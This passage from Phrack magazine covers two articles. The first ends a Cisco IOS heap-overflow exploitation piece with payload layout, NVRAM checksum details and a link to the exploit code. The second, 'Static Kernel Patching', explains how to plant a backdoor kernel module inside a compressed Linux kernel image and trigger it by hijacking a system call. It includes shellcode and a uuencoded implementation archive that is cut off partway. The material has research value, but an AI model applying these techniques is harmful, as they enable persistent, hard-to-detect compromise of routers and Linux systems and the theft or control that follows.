nvhdr_t; Obviously, most values in here are self-explainory. This header is not nearly as much tested as the memory structures, so IOS will forgive you strange values in the cfg_end entry and such. You can choose the IOS version, but yours truly recommends to use something along the lines of 0x0B03 (11.3), just to make sure it works. The size field covers only the real config text - not the header. The checksum is calculated over the whole thing (header plus config) with the checksum field itself being set to zero. This is a standard one's complement checksum as you find in any IP implementation. When putting it all together, you should have something along the lines of: +--------------+ | AAAAAAAAAAAA | ... | AAAAAAAAAAAA | +--------------+ | FAKE BLOCK | | | .... +--------------+ | Bootstrap | | | .... +--------------+ | config_copy | | XOR pat | .... +--------------+ | NVRAM header | | + config | | XOR pat | .... +--------------+ ...which you can now send to the Cisco router for execution. If everything works the way it is planned, the router will seemingly freeze for some time, because it's working the slow loops for NVRAM copy and does not allow interrupts, and should then reboot clean and nice. To save space for better papers, the full code is not included here but is available at http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . It supports some adjustments for code offset, NOPs where needed and a slightly different fake block for 11.1 series IOS. --[ 6 - Everything not covered in 1-5 A few assorted remarks that somehow did not fit into the rest of this text should be made, so they are made here. First of all, if you find or know an overflow vulnerability for IOS 11.x and you think that it is not worth all the trouble to exploit since everyone should run 12.x by now, let me challange this. Nobody with some experience on Cisco IOS will run the latest version. It just doesn't work correctly. Additionally, many people don't update their routers anyway. But the most interesting part is a thing called "Helper Image" or simply "boot IOS". This is a mini-IOS loaded right after the ROM monitor, which is normally a 11.x. On the smaller routers, it's a ROM image and can not be updated easily. For the bigger ones, people assured me that there are no 12.x mini-IOSes out there they would put on a major production router. Now, when the Cisco boot up and starts the mini-IOS, it will read the config and work accordingly as long as the feature is supported. Many are - including the TFTP server. This gives an attacker a 3-8 seconds time window in which he can perform an overflow on the IOS, in case somone reloads the router. In case this goes wrong, the full-blown IOS still starts up, so there will be no traces of any hostile activity. The second item yours truly would like to point out are the different things one might want to explore for overflow attacks. The obvious one (used in this paper as example) is a service running on a Cisco router. Another point for overflowing stuff are protocols. No protocol inspection engine is perfect AFAYTK. So even if the IOS is just supposed to route the packet, but has to inspect the contents for some reason, you might find something there. And if all fails, there are still the debug based overflows. IOS offers a waste amount of debug commands for next to everything. These do normally display a lot of information comming right from the packet they received and don't always check the buffer they use for compiling the displayed string. Unfortunately, it requires someone to turn on debugging in the first place - but well, this might happen. And finally, some greets have to be in here. Those go to the following people in no particular order: Gaus of Cisco PSIRT, Nico of Securite.org, Dan of DoxPara.com, Halvar Flake, the three anonymous CCIEs/Cisco wizards yours truly keeps asking strange questions and of course FtR and Mr. V.H., because without their equipment, there wouldn't be any research to speak of. Additional greets go to all people who research Cisco stuff and to whom yours truly had no chance to talk to so far - please get in touch with us. The last one goes to the vulnerability research labs out there: let me know if you need any help reproducing this `;-7 --[ A - References [1] anonymous "Once upon a free()..." Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12 [2] Cisco Router IOS Memory Maps http://www.cisco.com/warp/public/112/appB.html [3] GNU binutils http://www.gnu.org/software/binutils/binutils.html [4] Motorola QUICC 68360 CPU Manual MC68360UM, Page 6-70 |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x08 of 0x10 |=-------------------=[ Static Kernel Patching ]=------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ jbtzhm ]=---------------------=| |=---------------------[ http://www.nsfocus.com ]=-----------------------=| --[ Contents 1 - Introduction 2 - Get kernel from the image 3 - Allocate some space in image 4 - Relocate the symbol in module file 5 - Make it autorun when reboot 6 - Possible solutions 7 - Conclusion 8 - References 9 - Appendix: The implementation --[ 1 - Introduction This paper will show a simple way to patch a common LKM into the static linux kernel image.Most kernel backdoors are implemented by loadable kernel module which is loaded into kernel by insmod or /dev/kmem,and the backdoor module can found easily if the disk can be mounted on other machines.It is not the expected result.What is wanted is just to find a method to put the LKM into kernel image,and make it run when reboot. The program attached in the appendix contains codes and debugs in redhat7.2 (Intel)default installation,and can be easily tested on other kernel versions by some modification.Also the program is based on the /boot/System.map file which contains the kernel symbol address.If the file doesn't exist on your system,more works have to be done to make it run. --[ 2 - Get kernel from the image The first step is getting kernel from image file that is usually compressed (uncompress image is not concerned because it is much easier).The image file can be analyzed from the kernel source files,and Makefile will clarify the structure of the image. [/usr/src/linux/arch/i386/boot/Makefile] .. zImage: $(CONFIGURE) bootsect setup compressed/vmlinux tools/build $(OBJCOPY) compressed/vmlinux compressed/vmlinux.out tools/build bootsect setup compressed/vmlinux.out $(ROOT_DEV) > zImage .. (bzImage is similar) bootsect: bootsect.o $(LD) -Ttext 0x0 -s --oformat binary -o $@ $< bootsect.o: bootsect.s $(AS) -o $@ $< bootsect.s: bootsect.S Makefile $(BOOT_INCL) $(CPP) $(CPPFLAGS) -traditional $(SVGA_MODE) $(RAMDISK) \ $< -o $@ .. setup: setup.o $(LD) -Ttext 0x0 -s --oformat binary -e begtext -o $@ $< setup.o: setup.s $(AS) -o $@ $< setup.s: setup.S video.S Makefile $(BOOT_INCL) $(TOPDIR)\ /include/linux/version.h $(TOPDIR)/include/linux/compile.h $(CPP) $(CPPFLAGS) -D__ASSEMBLY__ -traditional \ $(SVGA_MODE) $(RAMDISK) $< -o $@ The bootsect and setup file are easy to understand.They are created by bootsect.s and setup.s respectively.The vmlinux.out file is raw binary file generated by objcopy command.The value of $(OBJCOPY) is "objcopy -O binary -R .note -R .comment -S". More details are available by `man objcopy`.When the three files are ready the build program will bind the three files to on file which is the kernel image file. However the vmlinx file is generated more complicatedly.It is also possible to go into the compressed directory and look through the Makefile. [/usr/src/linux/arch/i386/boot/compressed/Makefile] .. vmlinux: piggy.o $(OBJECTS) $(LD) $(ZLINKFLAGS) -o vmlinux $(OBJECTS) piggy.o The $(OBJECTS) includes head.o and misc.o,compiled by head.S and misc.c respectively.The most important step in head.S is calling the decompress_kernel function in misc.c.The function will inflate the compressed kernel.When the decompress_kernel takes effect,it requires input_len and input_data symbol which are defined in piggy.o .. piggy.o: $(SYSTEM) tmppiggy=_tmp_$$$$piggy; \ rm -f $$tmppiggy $$tmppiggy.gz $$tmppiggy.lnk; \ $(OBJCOPY) $(SYSTEM) $$tmppiggy; \ gzip -f -9 < $$tmppiggy > $$tmppiggy.gz; \ echo "SECTIONS { .data : { input_len = .; \ LONG(input_data_end - input_data) input_data = .; \ *(.data) input_data_end = .; }}" > $$tmppiggy.lnk; $(LD) -r -o piggy.o -b binary $$tmppiggy.gz -b elf32-i386 -T \ $$tmppiggy.lnk; rm -f $$tmppiggy $$tmppiggy.gz $$tmppiggy.lnk The piggy.o file is a common ELF object file.However,it only contains data section.The ld requires a command file like this\ SECTIONS { .data : { input_len = .; LONG(input_data_end - input_data)\ input_data = .; *(.data) input_data_end = .; }} The command file enables the piggy.o to have the symbol which is required by misc.o.Hopefully the command "gzip -f -9" also can be seen. It just compressed the kernel file compiled by thousands of kernel source files. So the kernel image could be described like this [bootsect][setup][[head][misc][compressed_kernel]] Now let us understand more about the boot process. The process can be separated into the following some logical stages: 1.BIOS selects the boot device. 2.BIOS loads the [bootsecto] from the boot device. 3.[bootsect] loads [setup] and [[head][misc][compressed_kernel]]. 4.[setup] do sth. and jmp to [head](it is at 0x1000 or 0x100000). 5.[head] call uncompressed_kernel in [misc]. 6.[misc] uncompressed [compressed_kernel] and put it at 0x100000. 7.high level init(begin at startup_32 in linux/arch/i386/kernel/head.S). After the machine run into step 7,the high level initialization begins. When the structure of the kernel image is clear,kernel text from the compressed image with a dirty method are easily available.It is matching the compress-magic contained in image.It is also known the 4-byte number before the magic is the input_data from which the offset can be verified. After this gunzip the kernel is pretty easy. --[ 3 - Allocate some space in image to use The allocation here doesn't mean vmalloc or kmalloc method.It just means space is required to contain the LKM file.The lkm file >> the kernel can be easily catted,but it will not work.To find the reason,the best method is to go back into the kernel initial code,which is all in step 7 mentioned above. [/usr/src/linux/arch/i386/kernel/head.S] .. /* * Clear BSS first so that there are no surprises... */ xorl %eax,%eax movl $ SYMBOL_NAME(__bss_start),%edi movl $ SYMBOL_NAME(_end),%ecx subl %edi,%ecx cld rep stosb .. After reading the head.S file,the above code can be found,which clearly expressed that it will clarify BSS range.The BSS area contains the uninitialized variable which is not included in the kernel file,but the kernel memory will leave the area to bss.So the lkm will be clear if just appending the code to the kernel.To solve the problem some dummy data can be added before the code the length of which is just equal to the bss size.Though it will make the new kernel much larger,the compressed will help to deflate all the zero data effectively. However there is also another problem.Read through followed code [/usr/src/linux/arch/i386/kernel/setup.c] .. void __init setup_arch(char **cmdline_p)---called by start_kernel .. init_mm. /* * partially used pages are not usable - thus * we are rounding upwards: */ .. start_pfn = PFN_UP(__pa(&_end));start_code = (unsigned long) &_text; init_mm.end_code = (unsigned long) &_etext; init_mm.end_data = (unsigned long) &_edata; init_mm.brk = (unsigned long) &_end;//it is bss end .. The kernel wouldn't leave any space to the lkm unreasonable,so it will manage the space available from the bss end which is just the beginning of the LKM code.Therefore,the _end symbol in text should be modified to give the start_pfn a larger value.Then the new kernel will be like this: [modified kernel][all zero dummy][module] --[ 4 - Relocate the symbol in module file The module is common LKM file and its type is usually ELF object file,and the object file need to be relocated before it could be used.The following example make it easier to understand. int init_module() { char s[] = "hello world\n"; printk("%s\n",s); return 0; } After compiling the program by command gcc,the module.o is available: [root@linux-jbtzhm test]#gcc -O2 -c module.c [root@linux-jbtzhm test]# objdump -x module.o|more .. RELOCATION RECORDS FOR [.text]: OFFSET TYPE VALUE 00000004 R_386_32 .rodata 00000009 R_386_32 .rodata 0000000e R_386_PC32 printk [root@linux-jbtzhm test]# objdump -d module.o test.o: file format elf32-i386 Disassembly of section .text: 00000000 : 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 68 00 00 00 00 push $0x0 8: 68 0d 00 00 00 push $0xd d: e8 fc ff ff ff call e 12: 31 c0 xor %eax,%eax 14: c9 leave 15: c3 ret The object file structure is clear from the output of objdump.There are three entries in the text relocation section,and the offset shows the place should be corrected.For the printk symbol,the type is R_386_PC32 which means relative call instruction(R_386_32 means absolute address).So after relocation the value of "fc ff ff ff" in the text that calls printk will be put out in the right value. However,it is more complex than what can be described about the relocation, and more information about it is available from ELF specifications.About the implementation of relocation Silvio had written many codes in his paper-RUNTIME KERNEL KMEM PATCHING-.Many lines are refereed from it and some operations are added about uninitialized static and SHN_COMMON variables. -- [ 5 - Make it autorun when reboot After the above steps the new kernel appears like this [modified kernel][all zero dummy][relocated module] But the module don't have chance to be called,so the kernel running path has to be changed to call the function init_module in lkm.My method is adding some code between the dummy data and the module and changing the value of sys_call_table[SYS_getpid] to the code.Many programs (like init) will call getpid when machine reboots,then the code will be called. char init_code[]={ "\xE8\x00\x00\x00\x00" //call init_module "\xC7\x05\x00\x00\x00\x00\x11\x11\x11\x11" //restore orig_getpid "\xE8\x11\x11\x11\x11" //call orig_getpid "\xC3" //ret }; All the relative and absolute addr is written by wrong value,but it is not necessary to worry about that.When relocating the module the accurate values about those address can be also make certain. So the final new kernel had come int being. [modified kernel][all zero dummy][init_code][relocated module] Then the new kernel image followed the steps in Makefile is generated.Now a new kernel patched by the module is available. --[ 6 - Possible solutions Deleting the /boot/System.map is the easiest way to prevent someone from using this program without any modification.However Silvio had shown some ways to generate the kernel symbol list from kernel.So it is not the final solutions.Adding some module to prevent kernel image from being modified is not a bad idea,but the precondition is the system should support the module. When a kernel image was patched,its size and checksum could be detected, so some function can be added to cheat the manager,but I don't have time to do that.If you have more ideas please don't hesitate to contact me. --[ 7 - Conclusion Now it is clear that it is so easy to patch the kernel image.If the host is compromised,nothing should be trusted,even if your own eyes.Halting the machine and mounting the disk to another host is a good idea. This paper is just for education.Please don't use it for other purposesA. Sorry about my poor English and the dirty code of my program.Everything should be better if I have more time.Though it could work well at redhat 7.2,there maybe some problems if moved to all versions of linux kernel.However,time is not enough for the tests on all kinds of environment. --[ 8 - References [1] Silvio's article describing run-time kernel patching (System.map) [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt] [2] "Complete Linux Loadable Kernel Modules. The definitive guide for hackers, virus coders and system administrators." [http://www.thehackerschoice.com/papers] [3] <> by Mao Decao and Hu Ximing [4] linux kernel source [http://www.kernel.org] [5] Linux Kernel 2.4 Internals [http://www.moses.uklinux.net/patches/lki.html] At last,many thanks to Silvio the source about the relocation.Also to my co-worker lgx who give me many good advise when i debug the program.At the same time i extend special thanks to Hou Hanshu who help me correct much grammar mistakes in english. --[ 9 - Appendix: The implementation begin 644 kpatch.tgz M'XL(`$\'Y#T``^P\2W`N=PU(XZ M_>K:Y6K]<6%^;$TC/%2EZ3,&J/ MA9@;!T%T&MQ9[?]/KT/F_^'0'58ZSVB.&C!V>7%Q%O^7:TO+Q/_:XG)]9;D! M\(WZ4GU.U)X1/M;U"\[_:D%\8^Q%KB_V'XIM;_#`"\1U-VR/77&E0Y_AU2@8 MM1]5.M^>5-SNI-*>K&=$07BBZW7]UR,Q#+I>[Z'PHHI8+>>AJ9IYS?,[@TD7 MA@BCKA=4^NMVU<#;M^LZT<.1FP0;>_Z!73?Q/>AMU_4Z?C28FB$YZ<#S)\=5 M0'4R<--:4D;.TI[H9S,90&72B<1A^'`X`##Q?L9)5!4(U<,05S%OBO:OO#\R#T8MP=B M%!RY8Q'T1'049(#ZF=>Z;L_S7?'.]KNW6V]?VWZ[M7WSFQO.4KV1C@06<(I= MN\->C$'HBM[$[T1>X(<"9:/M!X/@()B$(@H$[""_VQYW1<\;N&(<3"*8/:P0 M+B&BW8()QS!3#G`6A]T2X@YHAR7Q(/"ZHK`_Z96$!,2/?`;H@C!C-WK0'@`> M#G\3:V(0NNYA#@>A`;8W-MYI;6_LY('X7D_D)-S%-6S.XP"3L6^/PQ6`#0ZB MIX8!3@QTCW!3_/S@R^BD($P((0/#U@@V3)3#"HV/AT/T@K'(>8!*K0F[]DI" M+*"N6,RC("8E411(.M9$;JHA/Z]EQ@,Q2>G:F8S'+F"P)@S("HLVP!_U451R M"@J6CW,Q&@XMI)?#KT[6;P_=57$)Q*[;'<.7P?%[?K9$;;)W>1VGJ"!@6CT0 M23$@*1#;7`:T0B4X?[&@!N4"$FOBA=^"[73$(_`/1AXXFV$B3L(\D MA,V!$T#?)K:)OB@"@?00V"=?&`$4$-78%7TQ+W(VX459U'EGT-Z%)7M^Z(ZC MW)1F%@5L)5RG"11TW>94/3&.V(U[M?.Z_)C;O MW;JE-WZYCD-+"8G%@`5$AA5LP/FJ3-ZF)O'@5C62X+_RYEY@7F%+/,Y M'653G)RX@$PA4FB2URS:ABW/]R)+`(;M$=&42N$N&!T4Y1LW;VV(0J_YA!L( MI"VI/AYGY\#@`-8+1JZ?`WQ*(CO.*K+W9M!<[J#>@1N%N5#3,,R71"^/&XK[ MF#LZ%B4V\HXC]T!)"K@3*R#`![I%P62`@\\#2'V9-AB)`N(4B@\^@+[XM987 M!P$85G<\#L8T$&V/9KS1"R,Q/R^\,!RU.RZ4\GE1+([4>-"*H^"`H]WZGE%H M[,T:'S9<`_L#`F(T-=/%V5/E!4Z'@L&D\5$H8XTL8*G+-1)"ZF!L26):'EB? MP`?4"W"P,PA"-]=#(L6RER&05;O95M58(RU(MEQ>!].!!D.$QD#(\9/8%TJH MA+`%WE,W7:L]E3*GW:OV[>,K]=-T.E+R(A%[.,JEV$'!_X'PN(?4NN,/1P!VB M(L)A*OMA*$!#[0<#B#3!_PN&0QA2UASU71]'B>=SJ9>D)2+2$A8IR0GP+X)1E.CZ,*P.AVU_NA:$,P46LR6A7=T. MAVE)C"N/).Y&7L,=]#"MD9+H4(F#UIL;;]Q["R!Z4*%+LO'NULW-G1NYX[Q@ M*RN.,Z^Y$.5.`T"]W_5Z\;@W;U][:Z-U^]H?.(NUKRW#WI>Q5@$0@#]IO,LM M)E#EX!&0)X/<\#KL$P`?(G?8`O=R%WPJD:WN@X*H;E-M!6JS306.'B^Y+>PE M&;7@`G?0,ZQ;M2#FX%9WW6-H*4\W^9.A;(C7LWESIW5K8]-IU#.$''KE+=R! MNWMK[V>R[QUO7'[ON%8S[ZSC5*L=B%08F#<#@EY?@>:E)/A[Q_6Z>6=%M3IV MPR@8PRX?>P'O?ZQXW.5@I%*#.I1P7 M9]_D/.@6HI8A#Y%=0XT#MD$MC,,Y(O!UV6'DP4LBZ41F3D\B^$;>0+EXZ.'- M\WB[/!>&0F'4PO'VV-.SO3P--<.+2RX,&!.O+<&!`G].KR0.\N1B814,6UZ7 M9-S5947JO=,"0`6-;*ZXK;`/DF[0(V8[S(C_(4#6$T!91GY$-RQC;0LU)48\ MVV_OM""^W+GVALR)V`SDY`=&`&MBBM=PY0SP?'*5WAZGG?2DJ'JJ,G[4'?,2 MB`6#OI-`Z,04X0T37$R$IS*T/$GG)2F]3M_M'$J.S60@*1Q.8L5[2A3284R+M'0;7E=\`5*"`I:&+.F]$5.T9/A'1@[F`RB^QL8*/E!A/`0 M[$W/2G.HL4DF`/F-G=;6QJT90R*2!$C#$N39(P_;G3[J8QS\=FOA\C*&SNF- MBY>73YE9P<88\'"P8[COV;@\<,3=S'ZJT#Z=$XAR.&IG[S"*FW@"X-GM<$G^[YFSQMZCW]/O5,H), MX*92Q@7)E)%4M:$V>:QU+5VAYH)YL"U=%S@XA-";/9XY7U#"QKH:D)5<:+,,=I/3L@K,9HVZ[P3S'H6$P>->$(B MH+)8C`>5&GG[#4W-1IARX9;&3#JE5Q9VXQ>5?.E#<#)/":L^8F9V-5 MNA7:GV?XV(VW-(BHQF50OUC5-,>\NW7G+;5>70F&Z?%7&",*D4-[,HBH:\]\ MX":-`C]\VPP@[/(A@!ICK*+8*'+$K%5QR=//XBP^QDY-+-JT69QB40I+K`M5 M##]3$;(.V7('H@"P,VS+E$-N:)]4KTTC//#\P[UF<@14@]*/!NN(\R-+84<. MRNMC8&=KD&\(63086(7M<<'J:ZJGAP'2HS3#3`;*U1?`L.Q15'(V=E@ MVKW0DX^7S%5YY.C,==/4R4$SQ+?8R[O79CY4*>@D-3VWP5A9.N^$GQ\\P.EVEVM[O'O!PI&M MH]W`%BL:PQ=.O>L=CDWKHEZCQQK*[Z2U%K$_/D`$]9=M;65+HB$]SOC!AIQ5 M)=A5!Q[>43BIZCT.^;'ID(7*>,`@@;GKB:``4#V=XDH_>-XXC=ZS3;EXH]?$C22[GK$`\CU-* M72!305"@)SWQLV2)L%2+)")@.U"Y\D.KZ8;UU$@1X.1"92!E#[7]]F;K^IW; MM^]LDC)GILI-HX`E41P=2C-G,J?KR(VMK3M;JV+BIABIGH&MJW1(=XA'RG$U;B51`K;8I9E MD%>KO*4MI9066^L5I4-?7+,,F1V.9&S*9E'C8S2BH#'ZX7G8`*']T:(X-5=& M$MSVUI3;H73ZSKMW-RRE3BB1<=W"B`L\C$UR.;3E--KNWMI9:*S:5=>IAB6K MO(;*O.E`S$OEXAH9"=`,4.U0[&MT-3I*P*8YKV&P4P@FDJ9Z*\[$Q]::235S M[6DD2UKITZ.6T[-;9R1XDO$`I;EL,=/Q.DUROQEGP-%"83NC`V%+EWT>?5NL>1WLS5)+6ES4%MHWDUV3FBFKY(3FJ M"(24RB<^;V.?J$&=CV82!>6QDG:LEE*<)9S52'U9V4`UD.PL-S9!F\9E*J,` MTIA4@_$0I@Z,'^V;Z:V$0GH,]0=*,J'&IRAFY+EG$LSN0<0U93IQJDD?\JM- M-;$#4C-CXJ%4[C(]_3/='PG%*E!VP+\Y`YS#ISR*2>3YY!`X3DH?B3BNJ:C0 M9Q^KN#9KOTB&5JL>/88+`W"P`@A,62<%/24?\"VVS5J\9,!T$1]T@%XR\K]: M:*7'ET#.I#6?2"')/CT44/.Q:C#8XEV1H5I3GD9Z0@<#,=3>NNS)9<1)XG[) MEES.YQ+9(.TSI")9%5"F%KF`I]]+7$'E$J5?S>/AO6ZI=U0:TZZ5/0/?+17VW0//5W70U>O0 M,^7W:\?U7JEV?'D?_M4NGS3UX3%<#?R;LCJ\W#4R.ST\ET9'(`WT[K2VWKRS M>>M=?1JRB[J+=*RCZ9*]`[UD)"ZH+Y_L[[7A?_](X:8>MP-FV^]N7O\`$?S&%GQ92*9`])A3G4^9`.-!.I87(D/-KB87N40S^F%$85 MJ11+(.?H:EY[LW3[VEV0^IM?O[:S48(Q*,RGG=5L2JLT9?4I8T>\%:.(E"]\ MX$Q\Q($8'L]59HZ5%TK$]M(";0--V1N@8\0C;\1"(=K1ZJ41:BP8,J]C?1H_ MY4RKTN,%VYO"+0I=RHLT@-XCR!!MF6SWBV8H"R)=?)`SQQ:7.^7I!*M>EC:5 M8/[Y9Q%-+MF8C`9MSYP!MI>[(JM/FN3MW1J?.WG,W?ID.R#C:#:CP9"' M3'-,>_7`@2A8E`_F*#6M_`T(D,&DYRWB$'MMVFAZ7!^XL!,4`NQDRIRH8SFQME06E3^:2A?+ M+Y;]Y-,SN/I=?5A)'5H@.JS%AYBFM"_,W<)3+JVHO4_S)*()FEZ9L9381+I7 M=LM^&*9WH8:H/9ZV`MCB^MUIZS#HMFAMJ>.!_%BMIR1D41:1%^@8+-C">"^$ M$5;Y.*FXPIUIU'5QA0FPK@13Y2GECPCPAP/3C\EB@-1'@.X0!"7'YE8SAO6T MM5K@FV&U27;J>RSF)?,QL1*&Z5UV@W;5Z79.F3C+.KX%X+7C2X-CL?\PD(K.QJ MD%:#E61;7B^4!5[-5C95A65J:!\T]DHBQ=!,[43L,?LQ?$7&>X9^1)MA[<&R M5F;P59U9A%',TQ#SUI$$1^M%?'9JY&\TF%QD40UG&9\=,#M&+V(-;#=,@6LR MZAE8.`TE+=:,X$Q/F/"->#<7$RLMZI7.1LR.6GH9.3=C)IW]4*68 MPIB&D3_31DL,P5@`>E(JW"3=;A%E-*\G*"T:+O3.^2&C$.5 ME,'D$R%BTE_Y.:<@D<1!N4*+X@D0D5QX3$R`@8I'BGJ.0^B4#<*Z]V>[4ZFO`A?7W&F#4>>$C\&P!;Y>]NO[LM#_SN MI& MQ7?P]RIP47BD$9B&+8K%0JNUN:71)S:A*,\=J*!2A[!S%&)8IGIW%"\ M862$-)S>15ZI1_F0A/>/"=FC&1%IG)[Y@),V.DNCTC17.$),NDJHJSIQL!IG MEI3/S-%HCO*6.EYGHEGXE0%GQ#L.1AU<17F-C]/XLKB\]___=I7.I8`XT1+DC=&6&-N(J M[,&AJ@RHL/_H)JFVSYHFOTB7^?ZO_C.:XXS]7Z^OU.7^7UQ<6.+W?^'[WY[O M_V=_O>;U\.":>.?VQNW6V_&KH[CX6+^9/?6M7/_W-T@IE`[Y=1[@(.79+(ST#0 M+YO9)Z&%GO%2E>;,]Q+)2>C1)4?QF+)BOQ4'3G]'E.PE'2'=#2(6.@S[.OY_ M'<_<8>(+?X[@ZS,]X-.%4ASX3OG+^`MH"R,MNK`VZ\.NF4R:94PJ#2X_A6)VUN;]R0M M^$:\O@3W[TF8+\/]!;A_6];C];MP9^'^=0F/\_T*W%^!^R+<7X3[-;B_.H,/ MYU+J+LCYU?7+_";^K4/^QT?\3I`^4/R?A%^'S$RC_5+;C6WM^ M@OC+\C\@/6#_]F49Y>]-8_U_@_2!]C^3[?^!](#R#V7Y/^'^BS]7\%^8^TOX MK'TOQL>458'_6JV#8>#S(Z96:PZV5P>WU?(Z^Z MISK)$+C[]R:?GOY6U:M7KUZ]>O6ZI[K#^(US1F]98_RN&.,_,"'1AE48-F"$ M=!OC/YXQ_N`E,]Z=QBR_YC!Z@I+A#AY&01EKS#2WYK;FVVZ'&.6VYI6-S1!W MT/YVAB$?,Y[X8<8#/8QO1&#\EV3&W[?`^-O%&-^'R/`6%J.WR;&5"_YI);XC MYNZ5_GMO6P,M85^-CN,V!<8?.6*<>&4V*3AK?-$B$#1NP-MU[+L+%]3HF;C;2;TCELF3'H:\#?#BCE\REW*+>K7'!J"?#3`X$FB6=HJ@O/,)]2 M>`9#2N,9'2/4'PA.3,(S.#$'GL'1N?`,3LR-9W!H^7@&1S<:SR#!6#R#$RW" M,PA6AF=POA/P#$8Y&<_@T"KQ#,ZO"L_@W&;B&9SR;#R#(_3@&1SX?#R#(ZS% M,TS@A7@&9^W%,SCV)7@&)[D,S^#<;\4S&'L#GF&2UH=.!A(.K1BZ&M%>@V_M M2ZA]Y)!^S0GHJ5ZNP3?J2R]'S5!D%>O4X5..&E*P+-9!:=24@JJ.12F-&E-P MB8F]3&G4G(+3++:3TJA!90*F(Y1&32IH(K%62J-&%70YL7641LTJ.'5C#91& M#2NUF/92&C6M>#'MH31J7%F&Z4I*H^:5!DP741I'0,$.Q=R4QI%0UF&:41I' M1-F`Z>2WF,:145JI_Y3&$5(>IOY3&D=*B5#_*8TCINR@_E,:1T[92?VG-(Z@ M\@+UG](XDLK+U']*XX@J>ZG_E,:15:+4?TKC""OO4O\IC2.M=%#_*8TCKARC M_E,:1U[II/Y3&BU`T:C_D)[VQ0]"GP1.)+U+ZI367:AY6)AN6:JT[9`_-"_ M0!WY,"`U!XC'A'WC6+A&VH4Y^G"CQ!D\XO]\+RYW0.(.)%S*4.!3294=JN2VRR"?0_?G>[5<@W,T M%`U&_<.)\D"G9)<=H6C<#7*&Y;3.XK^)X$#"M.)Z&:TN:IG"6GH/W5D`;J^E2HXT!GC@V^[/9Y52&Y2Y6[`AND'/\L MW>_2_6E(JI[\`YKD)>8ISEFO5`9=@?8:`QO<-E\)$A\3Q!]8B3\%OC0F0#O< M[IMHH`&^(JS%=F=J/6FM]1+4`LK`AGP;EV6\(%QG)0RD21:T9:X/[!6(YM;7 MN5$9(\QN!:/WDRX\P$B[PLK"@R0)%]7)U^K.FWHXB*IUPU=@)O-3W1NQ[B?? M6.I*5%?B=8%4K\1&;S8:!0[N:F^^[XK,(.RV5FX_WU/V"62F8!T.K8C/(SZX MH(B\U[R5PJ+0,A)`ES3YF=)ZJU#<#556>:=9FUQRWNAK&DUV;53R:JMZL:@E M%K7,_YT,B]-?6U@,`Q810\MI?5T1=OA7WP@MC\UH^35KM;]\@W8`]4!L5-2Z M*JQ89FJ[6DY:;+7%6G,GU&R7$VCU-`MK:38!@&F5XG;(YU]BHR/6#E24EPK) MFEJO!1Z0!MWG5Q=IZCP)YWJ.VAI!4^HT9$F1PKNT_1<,A2.OZ<#+IZCU,+D2 MH9KY\141`+M>0K]7GU)K\M5%J3=0G'/WE.UZ&7)[+`PD?^0BWZAEM<4"@`Y?J MD0YH#L.'=8%9&(3>L;W<#ZH"Z9F]QA623U#7@-_8M>]*:ETM+Y&<(;F32LC5 M&25)H^0XP$<\KJ@FM47SVLK`P0?FO(#11E[;CT$59(_'M36IC//:%FC9YMRT M6I6WV>7C`+5%*:L?GDN:V@8T7N`1EG=XM00G4.NW!3YW0DXH M>EC*P4:H]/L0>1FM'(M/,IJ6K9FCP`:,_"F6_$#+,>;+4^5C*@O)B=A#AO]. M@D<:RGS#L;?UCD;5,[2QNJ;ROIRXQRC[$M<*T$U2K9-"[E@WU:-1/ZZ\*0;W MHVZ26L_=#8J)X>*NKN!#DH0)/-08DW#^.V3+\ZK4^6Z7_08)1%%EC5:'@;&G M#)DP;?.-)]5H:$2=HIV[NRU&M.4Y!NM[[.9>\TL2CG>P,.!4H"7%_!4T MS"Y%%CH[TV499EJ-XQ.QORMP(;<.M(O+OAB\<@JFJGV^TQ6*D@IYNV7M,EY, MLW8Y280X]URAFIF&)LB/96(+1VRK1:^IK'J%M;B?4H=/BM\`8[7"2F&1T66' M0`-DO`@+=8D[/RPG;6[29FR5CNO`'/2*>E[;OYG>>28R`7^SR/$,%ED&.&%T M"Y11G8MN+8]+W>\P MI\UA;M2-^"T4S<2<-%TX[VX!I@QVB]<#0QU-!OOQ0:"K3`U*6+B2BRWJJ;K)5.3%]K-B4I.JP_ M2@U3B2,<5`"C?]`><]&:8`C1U9339-/]VYJ8 M5G46J8O0@,&VY!--]K#\KE?=CF+#$E71$=#LP$'3JL_R%H.WZF05^AX$RE78 MY%9>%MB'6"]>H,94O%VIU<#F!^'=J*K MEK?YIV*G&K"%*6=-3>A[Z/*:6L>`<$221Q]7PICQMJ(0+FIA8A5@=B.V((OM MTG*3PGZ3VKDS&7UOQE;:,Z7*XY@>;Z9!:\INS/E[,MO@D=X_O)!%[P6#2>]6 M,Y!,Y;HK.KQ&C\%(D7K@V0SW1*`EP3;GQD?@G*A/\.[8W/']YCK?I?NTQ6&<.D/Q/<7*"C(,!Q\&UE[MVS-B^+`Q M(Q\\<"`JZ969:[&@`MFP?!MZ93^'%A[(.!E]#Q8K'LP=*SI_)Z9G#C*#GF`# M\MB'WXRS:46"J].&-K``C;$5R9`I`N772-.>Z8QR!--_Y^JGFE@JF9H"&XP50C`J4!&VK]0LP$'&<[M6/GTIHLXE]G6&PT62!0 M'D06<[XP-..SU-_(ZX/;("5LI,P[SC&XU&.7W8$22*/N1_G<]&/$6WL:" MIWH4D&Y[=TE;+VA&*J]`K;X&X]5NB9M^#)*AX/%-)(9E121OMSR>L2=BOP^_ MV?TTV3RHH>G<9KE_TO<@&[,U9#R)&,/P83UM7\P8],Y-J`7\ANNVG#CHI9,J M(G&%._X*.D=>Y1>\BE8"<-=WFJ)9=/@?%&O&""`7> M^>#[D.S\YYDKQE[W>@P^$R^/SU=:7SZ6ZY@M+6E4Y"9[_(X(U0_G![%D;RNL MQS:((U-]Z)4$39!9=N>.LOZO`J#:CWYIAQHZ$+ MKT&[XD:ZQW+_E&XS(JVX1!L8_I1BP'(4RUD[2OZMIOE:44:F<#K2DF=])`4^\CJ_- M&&^CXPB9]S4A'A7=P"'TP,#@S3ZDNE,<%%)#3PX86;TFLP9]` MVH/)"SR0@/PM^S!!:I/BUV'\@VE0W5A2W>LT6&9>3W5*@\-4`!U]/8+QN^]% 